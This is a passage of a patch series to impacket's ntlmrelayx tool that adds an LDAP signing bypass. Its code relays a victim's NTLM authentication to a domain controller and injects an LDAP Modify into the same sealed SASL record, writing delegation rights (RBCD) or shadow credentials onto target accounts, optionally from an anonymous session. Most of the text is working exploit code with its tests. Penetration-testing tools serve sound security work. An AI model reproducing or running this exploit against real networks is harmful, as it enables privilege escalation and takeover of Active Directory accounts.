attributes=attributes) + for entry in entries: + return entry + return None + + def bypassResolveSid(self, samaccountname): + entry = self.bypassLookup(samaccountname, ['objectSid']) + values = get_entry_values(entry, 'objectSid') if entry else None + if not values: + return None + return ldaptypes.LDAP_SID(data=bytes(values[0])).formatCanonical() + + def bypassReadAttribute(self, dn, attribute): + entries = self.bypassConnection.search(searchBase=dn, scope=Scope('baseObject'), + searchFilter='(objectClass=*)', attributes=[attribute]) + for entry in entries: + values = get_entry_values(entry, attribute) + if values: + return [bytes(raw) for raw in values] + return [] + + @staticmethod + def victimName(authMessage): + # DOMAIN\user carried in the relayed NTLM authenticate message + encoding = 'utf-16le' if authMessage['flags'] & NTLMSSP_NEGOTIATE_UNICODE else 'ascii' + return '%s\\%s' % (authMessage['domain_name'].decode(encoding), authMessage['user_name'].decode(encoding)) + + @staticmethod + def victimSam(authMessage): + encoding = 'utf-16le' if authMessage['flags'] & NTLMSSP_NEGOTIATE_UNICODE else 'ascii' + return authMessage['user_name'].decode(encoding) + + @staticmethod + def ldapMessage(operation, messageID): + message = LDAPMessage() + message['messageID'] = messageID + message['protocolOp'].setComponentByType(operation.getTagSet(), operation) + return encoder.encode(message) + + @staticmethod + def saslBindRequest(token): + # Wrap a raw SPNEGO token in a GSS-SPNEGO SASL BindRequest + request = BindRequest() + request['version'] = 3 + request['name'] = '' + request['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO' + request['authentication']['sasl']['credentials'] = token + return request + + def modifyRequest(self, attribute, values, operation): + request = ModifyRequest() + request['object'] = self.targetDN + request['changes'][0]['operation'] = operation + request['changes'][0]['modification']['type'] = attribute + request['changes'][0]['modification']['vals'].setComponents(*values) + return request + + def bypassInitConnection(self): + if self.PLUGIN_NAME == 'LDAPS': + LOG.error('The LDAP signing bypass targets ldap:// (SASL signing); use an ldap:// target, not ldaps://') + return False + if self.serverConfig.runSocks or self.serverConfig.interactive: + # The seal key becomes the victim's after the bind, so nothing can be driven afterwards + LOG.error('The LDAP signing bypass is single-shot; -i and -socks are not supported') + return False + if self.bypassSelectedAttack() is None: + LOG.error('The LDAP signing bypass needs exactly one write attack among %s' % + ', '.join(self.SUPPORTED_BYPASS_ATTACKS)) + return False + + # Our own signed LDAP session, whose SASL key we own and sign the injected record with + try: + self.bypassConnection = self.bypassOpenSession() + self.baseDN = self.bypassResolveBaseDN() + except (LDAPSessionError, LDAPRelayClientException, NetBIOSError, OSError) as e: + LOG.error('LDAP signing bypass: could not open the base session as %s\\%s: %s' % ( + self.serverConfig.reauth_domain, self.serverConfig.reauth_user, e)) + self.killConnection() + return False + + self.session = self.bypassConnection + LOG.info('LDAP signing bypass: base session opened as %s\\%s' % ( + self.serverConfig.reauth_domain, self.serverConfig.reauth_user)) + return True + + def bypassSendNegotiate(self, negotiateMessage): + # Forward the victim's NTLM Type 1 in a GSS-SPNEGO bind and return the DC's challenge + type1 = NTLMAuthNegotiate() + type1.fromString(negotiateMessage) + blob = SPNEGO_NegTokenInit() + blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] + blob['MechToken'] = type1.getData() + + answer = self.bypassConnection.sendReceive(self.saslBindRequest(blob.getData())) + result = answer[0]['protocolOp']['bindResponse'] + if result['resultCode'] != ResultCode('saslBindInProgress'): + raise LDAPRelayClientException('LDAP signing bypass: GSS-SPNEGO Type 1 rejected: %s' % + result['resultCode'].prettyPrint()) + target_spnego = SPNEGO_NegTokenResp(result['serverSaslCreds'].asOctets()) + challenge = NTLMAuthChallenge() + challenge.fromString(target_spnego['ResponseToken']) + self.sessionData['CHALLENGE_MESSAGE'] = challenge + return challenge + + def bypassSendAuth(self, authenticateMessageBlob): + token = authenticateMessageBlob + if unpack('B', token[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: + token = SPNEGO_NegTokenResp(token)['ResponseToken'] + + authMessage = NTLMAuthChallengeResponse() + authMessage.fromString(token) + victim = self.victimName(authMessage) + + # The write targets the relayed principal itself, unless --shadow-target names another object + target_sam = self.victimSam(authMessage) + if self.serverConfig.IsShadowCredentialsAttack and self.serverConfig.ShadowCredentialsTarget: + target_sam = self.serverConfig.ShadowCredentialsTarget.split('/')[-1].split('\\')[-1] + + try: + entry = self.bypassLookup(target_sam, ['distinguishedName']) + if entry is None: + LOG.error('LDAP signing bypass: could not resolve %s in the directory', target_sam) + return None, STATUS_ACCESS_DENIED + self.targetDN = str(entry['objectName']) + self.targetSam = target_sam + attribute, values, operation = self.bypassBuildWrite() + except (LDAPRelayClientException, LDAPSessionError, NetBIOSError, OSError) as e: + LOG.error('LDAP signing bypass: %s', e) + return None, STATUS_ACCESS_DENIED + + final = SPNEGO_NegTokenResp() + final['ResponseToken'] = token + # Forward the victim's mechListMIC when present (SPNEGO [3] OCTET STRING, 16 bytes) + if len(authenticateMessageBlob) >= 20 and authenticateMessageBlob[-20:-16] == b'\xa3\x12\x04\x10': + final['mechListMIC'] = authenticateMessageBlob[-16:] + + bind_message = self.ldapMessage(self.saslBindRequest(final.getData()), 1) + modify_message = self.ldapMessage(self.modifyRequest(attribute, values, operation), 2) + + # Both messages, sealed as one SASL record under our own key: the crux of the bypass + record = self.bypassConnection.encrypt(bind_message + modify_message) + self.bypassConnection._socket.sendall(record) + LOG.info('LDAP signing bypass: same-record frame sent, victim %s writing %s on %s' % ( + victim, attribute, self.targetDN)) + + modify_accepted = self.readInRecordResponses() + if self.verifyWrite(attribute, self.confirmValue) or modify_accepted: + self.bypassAnnounceSuccess() + # Fail the relayed SMB/coercion leg; its own tooling may still print FAILED + return None, STATUS_ACCESS_DENIED + + def readInRecordResponses(self): + # Whether the injected Modify was accepted, when the DC answers it under the key we still hold + modify_ok = False + for label in ('Bind', 'Modify'): + try: + length = unpack('>I', self.recvExact(4))[0] + plaintext = self.bypassConnection.decrypt(pack('>I', length) + self.recvExact(length)) + message, _ = decoder.decode(plaintext, asn1Spec=LDAPMessage()) + result = message['protocolOp'].getComponent() + except (LDAPSessionError, NetBIOSError, OSError, PyAsn1Error, EOFError) as e: + # An unreadable record desynchronizes the stream, so nothing after it can be parsed either + LOG.info('LDAP signing bypass: %s answer unreadable (%s), relying on the read-back' % (label, e)) + break + LOG.info('LDAP signing bypass: %s -> %s %s' % (label, result['resultCode'].prettyPrint(), + bytes(result['diagnosticMessage']).decode(errors='replace')[:80])) + if label == 'Modify' and result['resultCode'] == ResultCode('success'): + modify_ok = True + return modify_ok + + def recvExact(self, length): + value = b'' + while len(value) < length: + chunk = self.bypassConnection._socket.recv(length - len(value)) + if not chunk: + raise EOFError('connection closed while reading the LDAP response') + value += chunk + return value + + def verifyWrite(self, attribute, value): + # Independent signed read-back: the DC may answer the injected Modify under the victim's seal key + time.sleep(1) # give the DC time to apply the Modify, whose result we cannot always read + check = None + try: + check = self.bypassOpenSession() + entries = check.search(searchBase=self.targetDN, scope=Scope('baseObject'), + searchFilter='(objectClass=*)', attributes=[attribute]) + except (LDAPSessionError, NetBIOSError, OSError) as e: + LOG.error('LDAP signing bypass: read-back verification unavailable: %s' % e) + return False + finally: + if check is not None: + check.close() + + found = [] + for entry in entries: + values = get_entry_values(entry, attribute) + if values: + found.extend(bytes(raw) for raw in values) + if self.writeConfirmed(value, found): + LOG.info('LDAP signing bypass: read-back confirms the target now holds our value') + return True + LOG.info('LDAP signing bypass: read-back does not show our value on %s' % self.targetDN) + return False + + @staticmethod + def writeConfirmed(value, found): + if value in found: + return True + if value.startswith(b'B:'): + # DN-Binary (msDS-KeyCredentialLink): the DC canonicalizes the trailing DN and may upper-case the hex, so match B:: case-insensitively + marker = b':'.join(value.split(b':', 3)[:3]).lower() + return any(stored.lower().startswith(marker) for stored in found) + return False + class LDAPSRelayClient(LDAPRelayClient): PLUGIN_NAME = "LDAPS" MODIFY_ADD = MODIFY_ADD @@ -200,6 +577,8 @@ def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) def initConnection(self): + if self.serverConfig.reauth_bypass: + return self.bypassInitConnection() self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) self.session = Connection(self.server, user="a", password="b", authentication=NTLM) self.session.open(False) diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 45bfa42340..232f83ac40 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -27,6 +27,7 @@ import logging import time import calendar +import os import random import string import socket @@ -142,7 +143,10 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['SessionID'] = 0 relayInitialAuthentication = self.config.disableMulti - if self.config.disableMulti: + if connData.get('SMBClient') is not None: + # Second NEGOTIATE after our SMB2 wildcard answer, the target is already connected + relayInitialAuthentication = False + elif self.config.disableMulti: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) @@ -232,12 +236,43 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) + self.applyReauthBypassNegotiate(respSMBCommand, isSMB1) + respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS + def applyReauthBypassNegotiate(self, respSMBCommand, isSMB1): + # The LDAP signing bypass needs a signed inbound handshake so the relayed token carries a mechListMIC + if not self.config.reauth_bypass or self.target is None or self.target.scheme not in ('ldap', 'ldaps'): + return + + respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED | smb3.SMB2_NEGOTIATE_SIGNING_REQUIRED + if isSMB1: + # Steer the SMB1 client onto the SMB2 wildcard so it re-negotiates with contexts + respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_WILDCARD + respSMBCommand['NegotiateContextCount'] = 0 + respSMBCommand['NegotiateContextOffset'] = 0 + return + + preauth = smb3.SMB2PreAuthIntegrityCapabilities() + preauth['HashAlgorithmCount'] = 1 + preauth['HashAlgorithms'] = struct.pack(': but the DC canonicalized the trailing DN + ours = b'B:8:deadbeef:CN=DC01,OU=Domain Controllers,DC=ad,DC=local' + # The DC canonicalizes the trailing DN and upper-cases the hex + stored = b'B:8:DEADBEEF:CN=DC01,OU=Domain Controllers,DC=AD,DC=LOCAL' + self.assertTrue(LDAPRelayClient.writeConfirmed(ours, [stored])) + self.assertFalse(LDAPRelayClient.writeConfirmed(ours, [b'B:8:cafe:CN=DC01,DC=ad,DC=local'])) + + def test_sasl_bind_request_round_trips(self): + wire = LDAPRelayClient.ldapMessage(LDAPRelayClient.saslBindRequest(b'spnego-token'), 1) + message, _ = decoder.decode(wire, asn1Spec=LDAPMessage()) + auth = message['protocolOp']['bindRequest']['authentication']['sasl'] + + self.assertEqual(str(auth['mechanism']), 'GSS-SPNEGO') + self.assertEqual(bytes(auth['credentials']), b'spnego-token') + + @staticmethod + def resultMessage(response, resultCode, messageID): + response['resultCode'] = ResultCode(resultCode) + response['matchedDN'] = '' + response['diagnosticMessage'] = '' + return LDAPRelayClient.ldapMessage(response, messageID) + + @staticmethod + def recordStream(client, *plaintexts): + # A fake connection replaying sealed records, 'decryption' being the stripping of the length prefix + class FakeSocket(object): + def __init__(self, data): + self.data = data + + def recv(self, length): + chunk, self.data = self.data[:length], self.data[length:] + return chunk + + class FakeConnection(object): + def __init__(self, data): + self._socket = FakeSocket(data) + + @staticmethod + def decrypt(data): + return data[4:] + + wire = b''.join(struct.pack('>I', len(plaintext)) + plaintext for plaintext in plaintexts) + client.bypassConnection = FakeConnection(wire) + + def test_in_record_responses_report_an_accepted_modify(self): + client = self.ldapClient(delegate_access=True) + self.recordStream(client, + self.resultMessage(BindResponse(), 'success', 1), + self.resultMessage(ModifyResponse(), 'success', 2)) + + self.assertTrue(client.readInRecordResponses()) + + def test_in_record_responses_stop_on_an_unreadable_record(self): + client = self.ldapClient(delegate_access=True) + # The DC answers the Modify under the victim's seal key, so the second record is noise for us + self.recordStream(client, + self.resultMessage(BindResponse(), 'success', 1), + b'\xde\xad\xbe\xef') + + self.assertFalse(client.readInRecordResponses()) + + def test_in_record_responses_report_a_refused_modify(self): + client = self.ldapClient(delegate_access=True) + self.recordStream(client, + self.resultMessage(BindResponse(), 'success', 1), + self.resultMessage(ModifyResponse(), 'insufficientAccessRights', 2)) + + self.assertFalse(client.readInRecordResponses()) + + @staticmethod + def searchResultEntry(dn, attribute, values): + entry = SearchResultEntry() + entry['objectName'] = dn + attributes = entry.setComponentByName('attributes').getComponentByName('attributes') + partial = PartialAttribute() + partial['type'] = attribute + partial['vals'].setComponents(*values) + attributes.setComponentByPosition(0, partial) + return entry + + def readBackClient(self, entries): + client = self.ldapClient(delegate_access=True) + closed = [] + + class FakeSession(object): + @staticmethod + def search(**kwargs): + return entries + + @staticmethod + def close(): + closed.append(True) + + client.bypassOpenSession = FakeSession + return client, closed + + def test_read_back_confirms_the_write(self): + entries = [self.searchResultEntry('CN=victim,DC=ad,DC=local', 'description', [b'pwned'])] + client, closed = self.readBackClient(entries) + + self.assertTrue(client.verifyWrite('description', b'pwned')) + self.assertFalse(client.verifyWrite('description', b'something else')) + self.assertEqual(len(closed), 2) # the read-back session is closed every time + + def test_read_back_unavailable_is_not_a_confirmation(self): + client = self.ldapClient(delegate_access=True) + + def unreachable(): + raise LDAPSessionError(errorString='connection refused') + + client.bypassOpenSession = unreachable + + self.assertFalse(client.verifyWrite('description', b'pwned')) + + def test_modify_request_targets_resolved_dn(self): + client = self.ldapClient(delegate_access=True) + wire = LDAPRelayClient.ldapMessage(client.modifyRequest('description', [b'pwned'], 2), 2) + message, _ = decoder.decode(wire, asn1Spec=LDAPMessage()) + modify = message['protocolOp']['modifyRequest'] + + self.assertEqual(str(modify['object']), 'CN=victim,DC=ad,DC=local') + self.assertEqual(int(modify['changes'][0]['operation']), 2) + self.assertEqual(str(modify['changes'][0]['modification']['type']), 'description') + + if __name__ == '__main__': unittest.main(verbosity=1) From 2cdf9d0524d05ea3d69a6174aa1ff6950673afeb Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 26 Oct 2026 00:05:14 +0100 Subject: [PATCH 3/6] Support anonymous session for the LDAP signing bypass --- examples/ntlmrelayx.py | 4 +- .../ntlmrelayx/clients/ldaprelayclient.py | 52 +++++++++++++------ impacket/examples/ntlmrelayx/utils/config.py | 14 +++-- tests/misc/test_ntlmrelayx_reauth_bypass.py | 15 ++++++ 4 files changed, 61 insertions(+), 24 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f5f465bbdf..822a0cfad3 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -374,8 +374,8 @@ def stop_servers(threads): 'the captured authentication under its signing key. Against an SMB target this is a ' 're-authentication (MS-SMB2 3.3.5.5.2); against an ldap:// target it injects one ' 'write chosen with the usual LDAP attack options (--delegate-access, ' - '--shadow-credentials). Needs -smb2support, and is fixed on hosts updated since ' - 'September 2026') + '--shadow-credentials), and a bare ":" (anonymous) often works there. Needs ' + '-smb2support, and is fixed on hosts updated since September 2026') smboptions.add_argument('--reauth-bypass-hashes', action='store', required=False, metavar='LMHASH:NTHASH', help='Hashes of the --reauth-bypass account, instead of its password') diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index e5b35c433c..2a1dbc21cd 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -352,9 +352,14 @@ def bypassResolveBaseDN(self): raise LDAPRelayClientException('could not read defaultNamingContext from the DC') def bypassLookup(self, samaccountname, attributes): - entries = self.bypassConnection.search(searchBase=self.baseDN, scope=Scope('wholeSubtree'), - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samaccountname), - attributes=attributes) + try: + entries = self.bypassConnection.search(searchBase=self.baseDN, scope=Scope('wholeSubtree'), + searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samaccountname), + attributes=attributes) + except LDAPSessionError as e: + # An anonymous base session cannot search; the caller must supply the target as a DN + LOG.debug('LDAP signing bypass: lookup of %s failed: %s' % (samaccountname, e)) + return None for entry in entries: return entry return None @@ -367,8 +372,13 @@ def bypassResolveSid(self, samaccountname): return ldaptypes.LDAP_SID(data=bytes(values[0])).formatCanonical() def bypassReadAttribute(self, dn, attribute): - entries = self.bypassConnection.search(searchBase=dn, scope=Scope('baseObject'), - searchFilter='(objectClass=*)', attributes=[attribute]) + try: + entries = self.bypassConnection.search(searchBase=dn, scope=Scope('baseObject'), + searchFilter='(objectClass=*)', attributes=[attribute]) + except LDAPSessionError as e: + # Our base session cannot read the current value (e.g. anonymous); existing values will be overwritten + LOG.warning('LDAP signing bypass: could not read current %s, writing blind (existing values will be replaced): %s' % (attribute, e)) + return [] for entry in entries: values = get_entry_values(entry, attribute) if values: @@ -435,8 +445,9 @@ def bypassInitConnection(self): return False self.session = self.bypassConnection - LOG.info('LDAP signing bypass: base session opened as %s\\%s' % ( - self.serverConfig.reauth_domain, self.serverConfig.reauth_user)) + identity = 'anonymous' if self.serverConfig.reauth_anonymous else '%s\\%s' % ( + self.serverConfig.reauth_domain, self.serverConfig.reauth_user) + LOG.info('LDAP signing bypass: base session opened as %s' % identity) return True def bypassSendNegotiate(self, negotiateMessage): @@ -467,18 +478,24 @@ def bypassSendAuth(self, authenticateMessageBlob): authMessage.fromString(token) victim = self.victimName(authMessage) - # The write targets the relayed principal itself, unless --shadow-target names another object - target_sam = self.victimSam(authMessage) + # Target the relayed principal, or the --shadow-target object (a full DN skips the lookup, so an anonymous base session needs no read) + target = self.victimSam(authMessage) if self.serverConfig.IsShadowCredentialsAttack and self.serverConfig.ShadowCredentialsTarget: - target_sam = self.serverConfig.ShadowCredentialsTarget.split('/')[-1].split('\\')[-1] + target = self.serverConfig.ShadowCredentialsTarget try: - entry = self.bypassLookup(target_sam, ['distinguishedName']) - if entry is None: - LOG.error('LDAP signing bypass: could not resolve %s in the directory', target_sam) - return None, STATUS_ACCESS_DENIED - self.targetDN = str(entry['objectName']) - self.targetSam = target_sam + if '=' in target: + self.targetDN = target + self.targetSam = target.split(',')[0].split('=', 1)[-1] + else: + sam = target.split('/')[-1].split('\\')[-1] + entry = self.bypassLookup(sam, ['distinguishedName']) + if entry is None: + LOG.error('LDAP signing bypass: could not resolve %s in the directory ' + '(an anonymous base session cannot search; pass --shadow-target as a full DN)', sam) + return None, STATUS_ACCESS_DENIED + self.targetDN = str(entry['objectName']) + self.targetSam = sam attribute, values, operation = self.bypassBuildWrite() except (LDAPRelayClientException, LDAPSessionError, NetBIOSError, OSError) as e: LOG.error('LDAP signing bypass: %s', e) @@ -542,7 +559,8 @@ def verifyWrite(self, attribute, value): entries = check.search(searchBase=self.targetDN, scope=Scope('baseObject'), searchFilter='(objectClass=*)', attributes=[attribute]) except (LDAPSessionError, NetBIOSError, OSError) as e: - LOG.error('LDAP signing bypass: read-back verification unavailable: %s' % e) + # The Modify result above is authoritative; read-back is only a convenience (it needs a readable session) + LOG.info('LDAP signing bypass: read-back verification unavailable: %s' % e) return False finally: if check is not None: diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index ae9a468cf7..d892d5723a 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -70,6 +70,7 @@ def __init__(self): # Signing bypass account, shared by the SMB (MS-SMB2 3.3.5.5.2) and LDAP bypasses (LDAP reuses the existing attack options) self.reauth_bypass = False + self.reauth_anonymous = False self.reauth_domain = '' self.reauth_user = '' self.reauth_password = '' @@ -278,11 +279,14 @@ def setReauthBypassOptions(self, auth_reauth, hashes_reauth=None): raise Exception("Hashes for the signing bypass must be in LMHASH:NTHASH format") self.reauth_lmhash, self.reauth_nthash = hashes_reauth.split(':') - if self.reauth_user == '': - raise Exception("You must specify a username for the signing bypass, " - "format is [domain/]username[:password]") - if self.reauth_password == '' and self.reauth_nthash == '': - raise Exception("You must specify a password or hashes for the signing bypass account") + # An explicit empty credential (--reauth-bypass ':') is an anonymous session, which some signing-enforced LDAP servers still hand a usable signing key + self.reauth_anonymous = self.reauth_user == '' and self.reauth_password == '' and self.reauth_nthash == '' + if not self.reauth_anonymous: + if self.reauth_user == '': + raise Exception("You must specify a username for the signing bypass, " + "format is [domain/]username[:password]") + if self.reauth_password == '' and self.reauth_nthash == '': + raise Exception("You must specify a password or hashes for the signing bypass account") self.reauth_bypass = True diff --git a/tests/misc/test_ntlmrelayx_reauth_bypass.py b/tests/misc/test_ntlmrelayx_reauth_bypass.py index dd5f97df21..5fc64f7faa 100644 --- a/tests/misc/test_ntlmrelayx_reauth_bypass.py +++ b/tests/misc/test_ntlmrelayx_reauth_bypass.py @@ -75,6 +75,21 @@ def test_credential_without_domain(self): self.assertEqual(config.reauth_domain, '') self.assertEqual(config.reauth_user, 'user1') + def test_anonymous_credential_is_allowed(self): + config = NTLMRelayxConfig() + config.setReauthBypassOptions(':', None) + + self.assertTrue(config.reauth_bypass) + self.assertTrue(config.reauth_anonymous) + self.assertEqual(config.reauth_user, '') + self.assertEqual(config.reauth_password, '') + + def test_named_account_is_not_anonymous(self): + config = NTLMRelayxConfig() + config.setReauthBypassOptions('AD.LOCAL/user1:Passw0rd1', None) + + self.assertFalse(config.reauth_anonymous) + def test_credential_without_username_is_rejected(self): config = NTLMRelayxConfig() From 0e32a2aff2c7bcfe85cbb9734dda4908f8795458 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 26 Oct 2026 00:06:27 +0100 Subject: [PATCH 4/6] Add --delegate-target option for RBCD --- examples/ntlmrelayx.py | 3 ++- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 7 ++++--- .../examples/ntlmrelayx/clients/ldaprelayclient.py | 6 ++++-- impacket/examples/ntlmrelayx/utils/config.py | 4 +++- tests/misc/test_ntlmrelayx_reauth_bypass.py | 11 +++++++++-- 5 files changed, 22 insertions(+), 9 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 822a0cfad3..41a34b1a7b 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -196,7 +196,7 @@ def start_servers(options, threads): c.setOutputFile(options.output_file) c.setdumpHashes(options.dump_hashes) c.setDumpLSA(options.dump_lsa) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.dump_info_attr, options.dump_pre2k) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.dump_info_attr, options.dump_pre2k, delegatetarget=options.delegate_target) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) @@ -419,6 +419,7 @@ def stop_servers(threads): ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') + ldapoptions.add_argument('--delegate-target', action='store', metavar='account|DN', required=False, help='Object to write RBCD on (sAMAccountName, or a full DN for the signing bypass), instead of the relayed computer itself') ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 7c50ba7ca2..3c4e8bfd73 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -1339,9 +1339,10 @@ def _he(s): LOG.debug("Computer container is {}".format(computerscontainer)) self.addComputer(computerscontainer, domainDumper) - # Perform the Delegate attack if it is enabled and we relayed a computer account - if self.config.delegateaccess and self.username[-1] == '$': - self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) + # Perform the Delegate attack on --delegate-target, or on the relayed computer account by default + if self.config.delegateaccess and (self.config.delegatetarget or self.username[-1] == '$'): + targetsam = self.config.delegatetarget if self.config.delegatetarget else self.username + self.delegateAttack(self.config.escalateuser, targetsam, domainDumper, self.config.sid) return # Perform the Shadow Credentials attack if it is enabled diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 2a1dbc21cd..8cd2dda6fd 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -478,10 +478,12 @@ def bypassSendAuth(self, authenticateMessageBlob): authMessage.fromString(token) victim = self.victimName(authMessage) - # Target the relayed principal, or the --shadow-target object (a full DN skips the lookup, so an anonymous base session needs no read) + # Target the relayed principal, or the --shadow-target / --delegate-target object (a full DN skips the lookup, so an anonymous base session needs no read) target = self.victimSam(authMessage) if self.serverConfig.IsShadowCredentialsAttack and self.serverConfig.ShadowCredentialsTarget: target = self.serverConfig.ShadowCredentialsTarget + elif self.serverConfig.delegateaccess and self.serverConfig.delegatetarget: + target = self.serverConfig.delegatetarget try: if '=' in target: @@ -492,7 +494,7 @@ def bypassSendAuth(self, authenticateMessageBlob): entry = self.bypassLookup(sam, ['distinguishedName']) if entry is None: LOG.error('LDAP signing bypass: could not resolve %s in the directory ' - '(an anonymous base session cannot search; pass --shadow-target as a full DN)', sam) + '(an anonymous base session cannot search; pass the target as a full DN via --shadow-target or --delegate-target)', sam) return None, STATUS_ACCESS_DENIED self.targetDN = str(entry['objectName']) self.targetSam = sam diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d892d5723a..8ba0d63f5b 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -91,6 +91,7 @@ def __init__(self): self.aclattack = True self.validateprivs = True self.escalateuser = None + self.delegatetarget = None # MSSQL options self.queries = [] @@ -213,7 +214,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp): def setRandomTargets(self, randomtargets): self.randomtargets = randomtargets - def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, dumpinfoattr, dumppre2k=False): + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, dumpinfoattr, dumppre2k=False, delegatetarget=None): self.dumpdomain = dumpdomain self.addda = addda self.aclattack = aclattack @@ -221,6 +222,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus self.escalateuser = escalateuser self.addcomputer = addcomputer self.delegateaccess = delegateaccess + self.delegatetarget = delegatetarget self.dumplaps = dumplaps self.dumpgmsa = dumpgmsa self.dumpadcs = dumpadcs diff --git a/tests/misc/test_ntlmrelayx_reauth_bypass.py b/tests/misc/test_ntlmrelayx_reauth_bypass.py index 5fc64f7faa..b449f8c4b6 100644 --- a/tests/misc/test_ntlmrelayx_reauth_bypass.py +++ b/tests/misc/test_ntlmrelayx_reauth_bypass.py @@ -181,12 +181,12 @@ def setUp(self): @staticmethod def ldapClient(delegate_access=False, shadow_creds=False, escalate_user=None, sid=False, - shadow_outfile=None, shadow_replace=False, backup_path=None): + shadow_outfile=None, shadow_replace=False, backup_path=None, delegate_target=None): config = NTLMRelayxConfig() config.setReauthBypassOptions('AD.LOCAL/low:Passw0rd1', None) # The LDAP bypass reads the standard LDAP attack options, same as a normal relay config.setLDAPOptions(True, True, True, True, escalate_user, None, delegate_access, - False, False, False, sid, None, False) + False, False, False, sid, None, False, delegatetarget=delegate_target) config.setIsShadowCredentialsAttack(shadow_creds) config.setShadowCredentialsOptions(None, None, None, shadow_outfile, shadow_replace, backup_path) client = LDAPRelayClient(config, urlparse('ldap://10.0.0.10')) @@ -221,6 +221,13 @@ def test_selected_attack_picks_the_single_write(self): self.assertIsNone(self.ldapClient().bypassSelectedAttack()) self.assertIsNone(self.ldapClient(delegate_access=True, shadow_creds=True).bypassSelectedAttack()) + def test_delegate_target_is_stored(self): + client = self.ldapClient(delegate_access=True, escalate_user='S-1-5-21-1-2-3-1104', sid=True, + delegate_target='CN=DC01,OU=Domain Controllers,DC=ad,DC=local') + + self.assertEqual(client.serverConfig.delegatetarget, 'CN=DC01,OU=Domain Controllers,DC=ad,DC=local') + self.assertEqual(client.bypassSelectedAttack(), 'rbcd') + def test_rbcd_write_with_explicit_sid(self): client = self.ldapClient(delegate_access=True, escalate_user='S-1-5-21-1-2-3-1104', sid=True) client.bypassReadAttribute = lambda dn, attribute: [] # no 